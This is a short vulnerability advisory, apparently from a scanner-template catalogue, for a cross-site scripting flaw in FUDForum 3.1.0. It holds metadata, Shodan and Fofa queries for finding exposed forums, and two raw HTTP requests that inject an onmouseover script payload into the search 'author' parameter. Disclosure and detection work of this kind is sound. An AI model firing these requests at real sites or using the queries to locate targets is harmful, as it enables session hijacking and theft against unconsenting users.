| Title | FUDForum 3.1.0 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01118 |
| CVE ID | CVE-2021-27520 |
| CWE ID | CWE-79 |
| Shodan Query | html:"FUDforum"http.html:"fudforum"http.html:"powered by: fudforum" |
| Fofa Query | body="powered by: fudforum"body="fudforum" |
| Tags | cve2021 cve packetstorm xss fuddorum edb intrusive fudforum vuln |
FUDForum 3.1.0 contains a cross-site scripting vulnerability. An attacker can inject JavaScript via index.php in the author parameter, thereby possibly stealing cookie-based authentication credentials and launching other attacks.
GET /index.php?SQ=0&t=search&srch=38FJIQzry41qpnsjaWVM4wL8cyW&btn_submit=Search&field=all&forum_limiter&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /forum/index.php?SQ=0&t=search&srch=38FJIQzry41qpnsjaWVM4wL8cyW&btn_submit=Search&field=all&forum_limiter&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27520.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27520.pcap
N/AN/A